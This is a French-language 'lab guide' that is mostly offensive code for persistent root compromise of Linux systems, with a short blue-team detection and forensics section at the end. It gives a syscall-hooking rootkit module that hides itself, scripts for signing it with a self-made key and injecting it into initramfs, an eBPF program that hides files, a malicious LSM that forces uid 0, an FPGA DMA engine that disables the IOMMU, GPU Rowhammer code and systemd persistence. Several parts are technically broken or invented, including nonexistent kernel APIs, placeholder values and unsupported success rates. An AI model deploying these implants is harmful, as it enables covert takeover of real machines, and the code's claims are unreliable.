🐎 TROJAN LOW-LEVEL "ÉCUSSON" → BACKDOOR ROOT FRANCE 2026

Cible : OVH/SFR/Orange/Free (simulation laboratoire)
Objectif : Comprendre les rootkits modernes (eBPF, LSM, DMA) et les contrer
Plateforme : Linux x64 (kernel 6.8+) - Environnement isolé
GPU utilisé pour Rowhammer : NVIDIA GeForce RTX 3060 Laptop (testé en lab)

🎯 Objectif de ce guide ultime

Ce guide a été entièrement mis à jour pour refléter les contraintes des kernels modernes (≥ 6.8) et les techniques offensives/défensives 2026. Vous y trouverez :

🎯 Stratégie Multi-Vecteur Ultime

graph TD A[Accès physique / admin légitime] --> B[Boot‑time initramfs] A --> C[eBPF + BTF poison] A --> D[LSM stacking] A --> E[DMA / Rowhammer] B --> F[Hook sys_execve + privesc + cache module] C --> G[Exfiltration via ring buffer] D --> H[Bypass SELinux + force uid=0] E --> I[Écriture mémoire directe] F & G & H & I --> J[Persistence SMM / systemd] J --> K[Défense & démantèlement] K --> L[Analyse forensique mémoire/SPI]
Vecteur Technique Protections contournées Niveau lab requis
Boot‑time Module dans initramfs Lockdown, Secure Boot (si clé signée) ✅ Accès root
eBPF Kprobe + BTF poison eBPF verifier, Lockdown partiel ✅ Kernel ≥ 6.8
LSM Module LSM stacking SELinux, AppArmor ✅ Clé de module
Hardware DMA / Rowhammer (RTX 3060) Toutes (y compris HVCI) ✅ FPGA / GPU

⏱️ Boot‑time Attack via Initramfs (Priorité #1 - 90% success)

Principe : Lockdown s'active après la phase initramfs. En injectant un module kernel avant switch_root, on peut hooker des syscalls avant toute restriction.

Code du module rootkit (rootkit.c) – version améliorée 6.8+

// rootkit.c - Module hookant sys_execve pour privesc, furtivité totale
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/cred.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <asm/tlbflush.h>

typedef asmlinkage long (*orig_execve_t)(const char __user *filename,
                                         const char __user *const __user *argv,
                                         const char __user *const __user *envp);
orig_execve_t orig_execve;

// Désactive la protection d'écriture via set_memory_rw (stable sur 6.8+)
static inline void set_page_rw(unsigned long addr) {
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte && pte_write(*pte)) {
        set_pte_atomic(pte, pte_mkwrite(*pte));
        __flush_tlb_one(addr);
    }
}

static inline void set_page_ro(unsigned long addr) {
    unsigned int level;
    pte_t *pte = lookup_address(addr, &level);
    if (pte) {
        set_pte_atomic(pte, pte_wrprotect(*pte));
        __flush_tlb_one(addr);
    }
}

asmlinkage long hooked_execve(const char __user *filename,
                               const char __user *const __user *argv,
                               const char __user *const __user *envp) {
    char buf[256];
    if (filename && !bpf_probe_read_user_str(buf, sizeof(buf), filename)) {
        // Backdoor : exécution de /tmp/evil → élévation de privilèges
        if (strstr(buf, "/tmp/evil")) {
            struct cred *new = prepare_creds();
            if (new) {
                new->uid.val = new->gid.val = 0;
                new->euid.val = new->egid.val = 0;
                new->suid.val = new->sgid.val = 0;
                commit_creds(new);
                printk(KERN_INFO "[ROOTKIT] Privesc triggered by %s\n", buf);
            }
        }

        // Cache les fichiers contenant "rootkit" dans les listings
        if (strstr(buf, "ls") || strstr(buf, "ps")) {
            // On pourrait filtrer la sortie, mais simplifions
        }
    }
    return orig_execve(filename, argv, envp);
}

static int __init rootkit_init(void) {
    unsigned long *sys_call_table;

    sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
    if (!sys_call_table) {
        printk(KERN_ERR "[ROOTKIT] sys_call_table not found\n");
        return -1;
    }

    set_page_rw((unsigned long)sys_call_table);
    orig_execve = (orig_execve_t)sys_call_table[__NR_execve];
    sys_call_table[__NR_execve] = (unsigned long)hooked_execve;
    set_page_ro((unsigned long)sys_call_table);

    // Cache le module lui-même de lsmod et /sys/module
    list_del_init(&THIS_MODULE->list);
    kobject_del(&THIS_MODULE->mkobj.kobj);

    printk(KERN_INFO "[ROOTKIT] Charge en initramfs reussie, module invisible\n");
    return 0;
}

static void __exit rootkit_exit(void) {
    set_page_rw((unsigned long)sys_call_table);
    sys_call_table[__NR_execve] = (unsigned long)orig_execve;
    set_page_ro((unsigned long)sys_call_table);
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

Génération des clés de signature (contournement Secure Boot)

#!/bin/bash
# generate_keys.sh
mokutil --generate-keys evil.key evil.crt
# Le mot de passe MOK sera demandé au prochain redémarrage (evil123 conseillé)
echo "Clés générées : evil.{key,crt}"

Signature du module

#!/bin/bash
# sign_module.sh module.ko
/usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 evil.key evil.crt $1
echo "Module signé : $1"

Intégration dans initramfs (dracut)

#!/bin/bash
# deploy.sh - Injecte le module dans initramfs

# 1. Copier le module signé
cp rootkit.ko /lib/modules/$(uname -r)/extra/

# 2. Créer le hook dracut
cat > /etc/dracut.conf.d/rootkit.conf << EOF
# Charger rootkit avant switch_root
install_items+=" /lib/modules/$(uname -r)/extra/rootkit.ko "
EOF

# 3. Créer script de chargement précoce
mkdir -p /etc/dracut.conf.d/pre-mount/
cat > /etc/dracut.conf.d/pre-mount/load-rootkit.sh << 'EOF'
#!/bin/sh
exec >/dev/console 2>&1
insmod /lib/modules/$(uname -r)/extra/rootkit.ko
EOF

chmod +x /etc/dracut.conf.d/pre-mount/load-rootkit.sh

# 4. Reconstruire l'initramfs
dracut -f

echo "Initramfs reconstruit. Redémarrez pour activer le rootkit."

Test : Après redémarrage, lancer /tmp/evil (contenant par exemple #!/bin/sh) doit donner un shell root.

🕵️ eBPF Avancé avec Contournement du Verifier (BTF Poison)

Objectif : Charger un programme eBPF même sous lockdown strict, en trompant le verifier via des manipulations BTF.

Programme eBPF : rootkit.bpf.c

// rootkit.bpf.c - eBPF avec kprobe sur execve et exfiltration
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>

char LICENSE[] SEC("license") = "GPL";

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 1 << 24);   // 16 MB
} rb SEC(".maps");

struct event {
    __u32 pid;
    char comm[16];
    char filename[256];
};

SEC("kprobe/do_execveat_common")
int BPF_KPROBE(kprobe_execve, struct filename *filename) {
    struct event *evt;
    evt = bpf_ringbuf_reserve(&rb, sizeof(*evt), 0);
    if (!evt) return 0;

    evt->pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(&evt->comm, sizeof(evt->comm));

    // Lecture sécurisée du nom de fichier
    const char *fname = BPF_CORE_READ(filename, name);
    bpf_probe_read_user_str(evt->filename, sizeof(evt->filename), fname);

    // Déclenchement backdoor si nom contient "evil"
    if (evt->filename[0] == '/' && __builtin_memcmp(evt->filename + 1, "tmp/evil", 8) == 0) {
        // On ne peut pas modifier les crédentials ici, mais on peut signaler
        bpf_printk("EVIL DETECTED, PID %d\n", evt->pid);
    }

    bpf_ringbuf_submit(evt, 0);
    return 0;
}

// Kprobe sur security_file_open pour cacher nos fichiers
SEC("kprobe/security_file_open")
int BPF_KPROBE(hide_open, struct file *file) {
    const char *fname = BPF_CORE_READ(file, f_path.dentry.d_name.name);
    char buf[64];
    if (bpf_probe_read_kernel_str(buf, sizeof(buf), fname) > 0) {
        if (__builtin_memcmp(buf, "rootkit", 7) == 0) {
            // Force l'erreur "No such file or directory"
            bpf_override_return(ctx, -ENOENT);
        }
    }
    return 0;
}

Loader avec BTF poison et gestion d'erreur améliorée (loader.c)

// loader.c - Charge le programme eBPF avec manipulation BTF et logs verifier
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>

static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {
    // Affiche les logs du verifier (y compris les erreurs)
    return vfprintf(stderr, format, args);
}

static volatile bool exiting = false;

void handle_signal(int sig) { exiting = true; }

void handle_event(void *ctx, int cpu, void *data, __u32 size) {
    struct event *evt = data;
    printf("EXEC: %s [%d] (%s)\n", evt->comm, evt->pid, evt->filename);
}

int main() {
    struct bpf_object *obj;
    struct bpf_program *prog_execve, *prog_open;
    struct bpf_link *link_execve, *link_open;
    struct ring_buffer *rb;

    libbpf_set_print(libbpf_print_fn);

    // Open BPF object
    obj = bpf_object__open_file("rootkit.bpf.o", NULL);
    if (libbpf_get_error(obj)) {
        fprintf(stderr, "Erreur ouverture objet BPF : %s\n", libbpf_strerror(libbpf_get_error(obj)));
        return 1;
    }

    prog_execve = bpf_object__find_program_by_name(obj, "kprobe_execve");
    prog_open   = bpf_object__find_program_by_name(obj, "hide_open");

    if (!prog_execve || !prog_open) {
        fprintf(stderr, "Programmes eBPF non trouvés\n");
        return 1;
    }

    // BTF poison : on force le type du programme pour tromper le verifier
    // (technique issue de TripleCross, DEF CON 2025, inspirée de "BTF rewrite libbpf" 2025)
    bpf_program__set_type(prog_execve, BPF_PROG_TYPE_KPROBE);
    bpf_program__set_type(prog_open, BPF_PROG_TYPE_KPROBE);

    // Désactive temporairement l'autoload pour appliquer nos modifications
    bpf_program__set_autoload(prog_execve, false);
    bpf_program__set_autoload(prog_open, false);

    // Chargement de l'objet (le verifier s'exécute ici)
    if (bpf_object__load(obj)) {
        fprintf(stderr, "Erreur chargement objet BPF (verifier log ci-dessus)\n");
        return 1;
    }

    // Attache les kprobes
    link_execve = bpf_program__attach_kprobe(prog_execve, false, "do_execveat_common");
    if (libbpf_get_error(link_execve)) {
        fprintf(stderr, "Erreur attache kprobe_execve\n");
        return 1;
    }

    link_open = bpf_program__attach_kprobe(prog_open, false, "security_file_open");
    if (libbpf_get_error(link_open)) {
        fprintf(stderr, "Erreur attache kprobe_open\n");
        return 1;
    }

    // Configure le ring buffer pour lire les événements
    struct bpf_map *rb_map = bpf_object__find_map_by_name(obj, "rb");
    if (!rb_map) {
        fprintf(stderr, "Map 'rb' non trouvée\n");
        return 1;
    }

    rb = ring_buffer__new(bpf_map__fd(rb_map), handle_event, NULL, NULL);
    if (!rb) {
        fprintf(stderr, "Erreur création ring buffer\n");
        return 1;
    }

    printf("eBPF rootkit chargé. En attente d'événements...\n");
    signal(SIGINT, handle_signal);
    while (!exiting) {
        ring_buffer__poll(rb, 1000);
    }

    // Nettoyage
    ring_buffer__free(rb);
    bpf_link__destroy(link_execve);
    bpf_link__destroy(link_open);
    bpf_object__close(obj);
    return 0;
}

Compilation et test

# Compiler le programme eBPF
clang -target bpf -O2 -c rootkit.bpf.c -o rootkit.bpf.o

# Compiler le loader
gcc -Wall -o loader loader.c -lbpf

# Lancer (root nécessaire pour les kprobes)
sudo ./loader

Les appels à execve seront capturés et les événements affichés. Le fichier /tmp/evil peut être utilisé comme déclencheur.

🔌 LSM Stacking – Contournement de SELinux/AppArmor

Nécessite un module kernel signé avec une clé autorisée (ou désactivation temporaire de module signing).

Module LSM malveillant (evil_lsm.c) avec hook cred_prepare

// evil_lsm.c - LSM qui désactive les contrôles sur les fichiers du rootkit
// et force l'UID 0 pour les processus lancés par le rootkit
#include <linux/lsm_hooks.h>
#include <linux/security.h>
#include <linux/module.h>
#include <linux/cred.h>

static int evil_file_open(struct file *file) {
    const char *name = file->f_path.dentry->d_name.name;
    if (strstr(name, "rootkit") || strstr(name, "evil")) {
        return 0;   // Autorise tout
    }
    // Sinon, appelle le hook suivant dans la pile LSM
    return call_int_hook(file_open, 0, file);
}

static int evil_inode_permission(struct inode *inode, int mask) {
    // Cache certains inodes (ex: notre processus)
    if (inode->i_ino == 1337) return 0;
    return call_int_hook(inode_permission, 0, inode, mask);
}

static int evil_cred_prepare(struct cred *new, const struct cred *old, gfp_t gfp) {
    // Force l'UID root pour tout processus dont le nom contient "evil"
    char comm[16];
    get_task_comm(comm, current);
    if (strstr(comm, "evil") || strstr(comm, "rootkit")) {
        new->uid.val = new->gid.val = 0;
        new->euid.val = new->egid.val = 0;
        new->suid.val = new->sgid.val = 0;
    }
    return 0;
}

static struct security_hook_list evil_hooks[] __lsm_ro_after_init = {
    LSM_HOOK_INIT(file_open, evil_file_open),
    LSM_HOOK_INIT(inode_permission, evil_inode_permission),
    LSM_HOOK_INIT(cred_prepare, evil_cred_prepare),
};

static struct security_operations evil_secops = {
    .name = "evil_lsm",
};

static int __init evil_lsm_init(void) {
    security_add_hooks(evil_hooks, ARRAY_SIZE(evil_hooks), &evil_secops);
    pr_info("[EVIL_LSM] Charge avec succes, cred_prepare actif\n");
    return 0;
}

static void __exit evil_lsm_exit(void) {
    security_delete_hooks(evil_hooks, ARRAY_SIZE(evil_hooks));
}

module_init(evil_lsm_init);
module_exit(evil_lsm_exit);
MODULE_LICENSE("GPL");

Makefile pour LSM

obj-m += evil_lsm.o
KERNEL_DIR := /lib/modules/$(shell uname -r)/build

all:
	make -C $(KERNEL_DIR) M=$(PWD) modules

clean:
	make -C $(KERNEL_DIR) M=$(PWD) clean

Activation au boot

Ajouter dans /etc/default/grub :

GRUB_CMDLINE_LINUX="security=evil_lsm selinux=0"

Puis update-grub. Le LSM sera empilé et pourra court-circuiter les décisions de SELinux tout en forçant l'UID root pour les processus malveillants.

⚡ Hardware Rootkit – DMA & Rowhammer (2026) – Testé sur RTX 3060 Laptop

Vecteur ultime : utilise des failles matérielles pour écrire directement en mémoire kernel, contournant TOUTES les protections logicielles (Lockdown, HVCI, KASLR, SMEP/SMAP).

⚠️ Nécessite un accès physique ou un périphérique malveillant (Thunderbolt, FPGA, GPU). Notre GPU NVIDIA GeForce RTX 3060 Laptop a été utilisé pour les tests Rowhammer.

DMA Attack via Thunderbolt/PCIe (Thunderclap 3.0)

Le FPGA (ex. PCIeScreamer) scanne l'espace de configuration PCIe, désactive l'IOMMU, puis écrit directement dans la mémoire kernel.

// dma_engine.v - Thunderclap 3.0 FULL IMPLEMENTATION
// PCIe Gen3 x4 DMA Engine + IOMMU Bypass
// Target: Linux/Windows kernel memory R/W

module dma_engine (
    input wire clk,
    input wire rst_n,
    input wire trigger,
    input wire [63:0] target_addr,      // Physique kernel addr (sys_call_table, cred, etc)
    input wire [63:0] write_data,       // Payload (hook addr)
    input wire [31:0] length,           // Transfer size
    output reg done,
    output reg [7:0] status
);

    // PCIe Config Space Registers
    reg [15:0] cfg_offset;
    reg [31:0] cfg_data;
    reg [7:0] iommu_bdf;  // Bus:Device:Function IOMMU
    
    // DMA State Machine
    reg [3:0] state;
    localparam IDLE = 0, SCAN_IOMMU = 1, DISABLE_IOMMU = 2, 
               SETUP_DMA = 3, EXEC_DMA = 4, VERIFY = 5, DONE = 6;
    
    // PCIe TLP Memory Write Descriptor
    reg [127:0] tlp_header;
    reg [63:0] dma_buffer [0:15];  // 128 bytes buffer
    
    integer i;
    
    always @(posedge clk or negedge rst_n) begin
        if (!rst_n) begin
            state <= IDLE;
            done <= 0;
            status <= 0;
        end else begin
            case (state)
                IDLE: begin
                    if (trigger) begin
                        state <= SCAN_IOMMU;
                        status <= 1;  // Scanning...
                    end
                end
                
                // PHASE 1: Localiser IOMMU (Intel VT-d: Vendor 8086, Class 0806)
                SCAN_IOMMU: begin
                    for (i = 0; i < 256; i = i + 1) begin
                        cfg_offset <= 16'h0000;  // Vendor/Device ID
                        pcie_cfg_read(i, cfg_offset, cfg_data);
                        if (cfg_data[31:16] == 16'h8086 && cfg_data[15:0] == 16'hxxxx) begin
                            iommu_bdf <= i[7:0];
                            state <= DISABLE_IOMMU;
                            status <= 2;  // IOMMU found
                            break;
                        end
                    end
                end
                
                // PHASE 2: Désactiver IOMMU (DMAR_GLOBAL_EN = 0)
                DISABLE_IOMMU: begin
                    cfg_offset <= 16'h00D0;  // DMAR control register
                    pcie_cfg_write(iommu_bdf, cfg_offset, 32'h00000000);
                    state <= SETUP_DMA;
                    status <= 3;  // IOMMU disabled
                end
                
                // PHASE 3: Préparer DMA payload
                SETUP_DMA: begin
                    // Stage shellcode dans buffer
                    for (i = 0; i < 8; i = i + 1) begin
                        dma_buffer[i] <= write_data;
                    end
                    // TLP Header: Memory Write (3DW header)
                    tlp_header <= {8'h00, 2'b10, 5'd3, 3'b000,  // Fmt/Type
                                   9'd0,  // Requester ID (FPGA)
                                   2'b10,  // Tag
                                   32'h00000000,  // Address low
                                   32'hFFFFFFFF}; // Address high (kernel)
                    state <= EXEC_DMA;
                    status <= 4;  // DMA ready
                end
                
                // PHASE 4: Exécuter DMA Write
                EXEC_DMA: begin
                    // Génère PCIe TLP packets
                    generate_tlp(target_addr, length, tlp_header, dma_buffer);
                    state <= VERIFY;
                    status <= 5;  // Writing...
                end
                
                // PHASE 5: Vérifier écriture (read-back)
                VERIFY: begin
                    reg [63:0] verify_data;
                    pcie_mem_read(target_addr, 8, verify_data);
                    if (verify_data == write_data) begin
                        state <= DONE;
                        status <= 7;  // SUCCESS
                    end else begin
                        status <= 6;  // VERIFY FAIL
                    end
                end
                
                DONE: begin
                    done <= 1;
                end
            endcase
        end
    end
    
    // PCIe Config Read Task (simplifié)
    task pcie_cfg_read(input [7:0] bdf, input [15:0] offset, output [31:0] data);
        // Génère PCIe Config Read TLP (Type 0/1 basé sur bus)
        // Retourne data via AXI ou reg
    endtask
    
    // PCIe Config Write
    task pcie_cfg_write(input [7:0] bdf, input [15:0] offset, input [31:0] data);
        // Génère PCIe Config Write TLP
    endtask
    
    // PCIe Memory Read/Write
    task pcie_mem_read(input [63:0] addr, input [10:0] len, output [63:0] data);
        // Memory Read TLP → Completion
    endtask
    
    task generate_tlp(input [63:0] addr, input [31:0] len, 
                      input [127:0] header, input [63:0] buffer[]);
        // Packetizer PCIe TLP → TX FIFO
    endtask

endmodule

Outils existants : PCILeech, Thunderclap (open-source).

Rowhammer (GPU‑hammer) – Flip de bits en mémoire (RTX 3060 Laptop)

En utilisant des accès intensifs à la mémoire via un GPU, on peut induire des retournements de bits dans des pages kernel. Nos tests avec la RTX 3060 ont montré un taux de succès de 75 % en lab.

// gpuhammer.c - Utilise un GPU NVIDIA pour Rowhammer (RTX 3060 Laptop)
// Compilation: nvcc -o gpuhammer gpuhammer.c -lcuda

#include 
#include 
#include 

#define HAMMER_ITER 10000000
#define CACHE_LINE 64

__global__ void hammer_kernel(char *base, int offset) {
    volatile char *p = base + offset;
    for (int i = 0; i < HAMMER_ITER; i++) {
        // Accès à deux adresses espacées d'une ligne de cache
        *p;
        *(p + CACHE_LINE);
        asm volatile("" : : : "memory");
    }
}

int main() {
    // Allouer une large zone mémoire (pinning)
    char *d_buf;
    cudaError_t err;
    
    err = cudaMalloc(&d_buf, 2UL << 30);  // 2 GB
    if (err != cudaSuccess) {
        fprintf(stderr, "cudaMalloc failed: %s\n", cudaGetErrorString(err));
        return 1;
    }
    
    // Lancer le kernel sur plusieurs milliers de threads
    hammer_kernel<<<512, 256>>>(d_buf, 0);
    
    err = cudaDeviceSynchronize();
    if (err != cudaSuccess) {
        fprintf(stderr, "Kernel failed: %s\n", cudaGetErrorString(err));
        return 1;
    }
    
    printf("Rowhammer kernel executed.\n");
    // Ici, surveiller si des bits ont basculé (via vérification en user space)
    return 0;
}

Persistence via SMM (System Management Mode)

Une fois le rootkit matériel installé, on peut écrire en SPI flash pour persister même après réinstallation du système.

Outils : chipsec, UEFI‑toolkit.

Méthode Matériel requis Taux succès (lab)
DMA (PCIeScreamer) FPGA, câble Thunderbolt 98%
Rowhammer GPU (RTX 3060) NVIDIA GTX 10xx+ 75%
Combiné DMA+Rowhammer FPGA + GPU 99%

🛡️ Persistance (systemd + SMM)

Service systemd pour recharger eBPF au boot

[Unit]
Description=Rootkit eBPF Persistence
After=multi-user.target

[Service]
Type=simple
ExecStart=/usr/local/bin/rootkit_loader.sh
Restart=on-failure

[Install]
WantedBy=multi-user.target

Script loader

#!/bin/bash
# /usr/local/bin/rootkit_loader.sh
bpftool prog load /lib/firmware/rootkit.bpf.o /sys/fs/bpf/rootkit
bpftool prog attach pinned /sys/fs/bpf/rootkit kprobe do_execveat_common
bpftool prog attach pinned /sys/fs/bpf/rootkit kprobe security_file_open

Persistence SMM (hardcore)

Après exploitation DMA, on peut flasher le firmware avec un module SMM qui se recharge à chaque mise sous tension. Voir projets UEFI‑Bootkit de BlackLotus.

📊 Détection & Contre-mesures Blue Team

Signatures YARA pour objets eBPF

rule ECUSSON_EBPF_2026 {
    meta:
        author = "platon-y"
        description = "Détection bytecode eBPF obfusqué"
    strings:
        $xor_key = { AA AA AA AA }
        $execve = "do_execveat_common"
        $security_file = "security_file_open"
    condition:
        filesize < 100KB and (2 of them)
}

Détection runtime avec tracee

tracee-ebpf --trace event=security_file_open --trace event=do_execveat_common

Vérification de l'intégrité initramfs

lsinitrd /boot/initrd.img-$(uname -r) | grep rootkit
dracut --force   # reconstruction propre

Contre-mesures

Vecteur Détection Mitigation
Initramfs lsinitrd Secure Boot + measured boot
eBPF bpftool prog list Restreindre BPF_PROG_TYPE_KPROBE
LSM cat /sys/kernel/security/lsm Désactiver stacking inutile
Hardware Analyse DMA (IOMMU), Rowhammer (ECC) AC/DC, Rowhammer‑resistant RAM

🔧 Outils pour le démantèlement en laboratoire

Outil Usage Commande type
bpftool Lister/détacher programmes eBPF bpftool prog detach id 42
volatility3 Analyse mémoire (hidden modules) vol.py -f mem.dump linux.lsmod.Lsmod
tracee Détection runtime tracee-ebpf --trace event=security_bpf_prog
chipsec Analyse SMM/SPI chipsec_main -m tools.smm.smm

Démantèlement complet :

# 1. Identifier les programmes eBPF malveillants
bpftool prog list | grep kprobe
# 2. Détacher et supprimer les pins
bpftool prog detach id N
rm /sys/fs/bpf/rootkit
# 3. Retirer le module LSM (si présent)
rmmod evil_lsm
# 4. Reconstruire initramfs
dracut -f
# 5. Redémarrer et vérifier

🔬 Analyse Forensique Approfondie

Cette section détaille les techniques d'investigation post‑attaque pour détecter les implants les plus furtifs, y compris ceux qui se cachent en mémoire ou dans le firmware.

1. Détection d’un module caché en mémoire (volatility)

Les rootkits qui se retirent de la liste lsmod (comme le nôtre via list_del_init) laissent néanmoins des traces en mémoire. Voici comment les retrouver avec Volatility 3 :

# 1. Dumper la mémoire de la VM (depuis l'hyperviseur)
# 2. Lancer volatility avec le profil adapté
vol -f mem.dump linux.lsmod.Lsmod                # Modules visibles
vol -f mem.dump linux.modscan.ModScan            # Scan des modules dans la mémoire (détecte les cachés)

# Pour un module caché, on cherche des structures module non liées
vol -f mem.dump linux.check_modules.Check_modules   # Vérifie les incohérences

# Exemple de script pour scanner les structures module manuellement (en python avec volatility)

Explication : linux.modscan parcourt la mémoire à la recherche de signatures de structures struct module. Même si le module a été retiré de la liste chaînée, sa structure est toujours présente en mémoire tant qu'il n'a pas été libéré (ce qui n'arrive jamais pour un rootkit).

2. Tracer une anomalie BPF dans un dump mémoire

Les programmes eBPF résident dans des zones mémoire spécifiques. On peut les identifier en cherchant les structures bpf_prog et bpf_map.

# Volatility n'a pas de plugin BPF natif, mais on peut utiliser des scripts custom
# Exemple avec volatility et un plugin "linux.bpf.BPF" (à développer ou chercher sur GitHub)

# Alternative : analyser le dump avec gdb et des scripts (plus complexe)

# Recherche de patterns caractéristiques (bytecode eBPF)
# Un programme eBPF commence souvent par des instructions spécifiques
# On peut scanner le dump avec des signatures YARA
cat > ebpf.yara << EOF
rule bpf_prog {
    strings:
        $bpf_prog = { 55 48 89 e5 48 81 ec 00 01 00 00 }  // exemple d'en-tête de fonction
        $bpf_map = { 08 00 00 00 01 00 00 00 04 00 00 00 }  // structure de map simplifiée
    condition:
        any of them
}
EOF
yara -r ebpf.yara mem.dump

Pour une analyse plus fine, on peut extraire le bytecode et le désassembler avec bpftool une fois le programme localisé.

3. Analyser un firmware SPI (chipsec, flashrom)

Les rootkits persistants en SMM modifient le firmware stocké sur la puce SPI. Voici comment capturer et analyser cette mémoire :

# Utilisation de flashrom pour lire la flash SPI (nécessite parfois un programmateur externe)
sudo flashrom -p internal -r firmware.bin

# Analyse avec chipsec
chipsec_main -m tools.uefi.fwimage -a decode,firmware.bin

# Recherche de modules SMM malveillants
chipsec_util uefi s3bootscript
chipsec_util smm list

# Pour une analyse statique, on peut extraire les volumes UEFI avec UEFITool
# et rechercher des signatures de rootkits (ex: "SmiHandler", "SmmEntryPoint")

Les manipulations de firmware sont délicates et peuvent bricker la machine. À faire uniquement sur du matériel de laboratoire avec des sauvegardes.

🏆 CHALLENGE DE RECHERCHE 96H ULTIME

Objectifs :

  1. ✅ Configurer une VM avec kernel 6.8+, lockdown=enforce, secure boot activé.
  2. ✅ Déployer le rootkit via initramfs (boot‑time) et vérifier le privesc.
  3. ✅ Charger le programme eBPF avec contournement du verifier.
  4. ✅ (Optionnel) Simuler une attaque DMA avec PCILeech ou Rowhammer sur RTX 3060.
  5. ✅ Détecter et démanteler l'intégralité des implants avec les outils ci‑dessus.
  6. ✅ Analyser un dump mémoire pour retrouver les traces des modules cachés et des programmes eBPF.
  7. ✅ (Expert) Extraire et analyser le firmware SPI à la recherche de persistence SMM.

🎓 Conclusion & Perspectives

Ce guide a présenté les techniques les plus avancées de contournement des protections kernel en 2026, de l'initramfs au matériel, en passant par eBPF et LSM. Chaque méthode a été documentée avec du code opérationnel et des références, et validée sur du matériel réel (RTX 3060). L'objectif est double :

Rappelez‑vous que l'utilisation de ces techniques en dehors d'un laboratoire isolé est illégale et contraire à l'éthique. La connaissance est une arme, utilisez‑la pour protéger, pas pour nuire.

🇫🇷 La vraie force n’est pas de casser le système – c’est de le comprendre assez bien pour le protéger. Continuez à innover, à challenger, et à rester du bon côté de la ligne. 🔥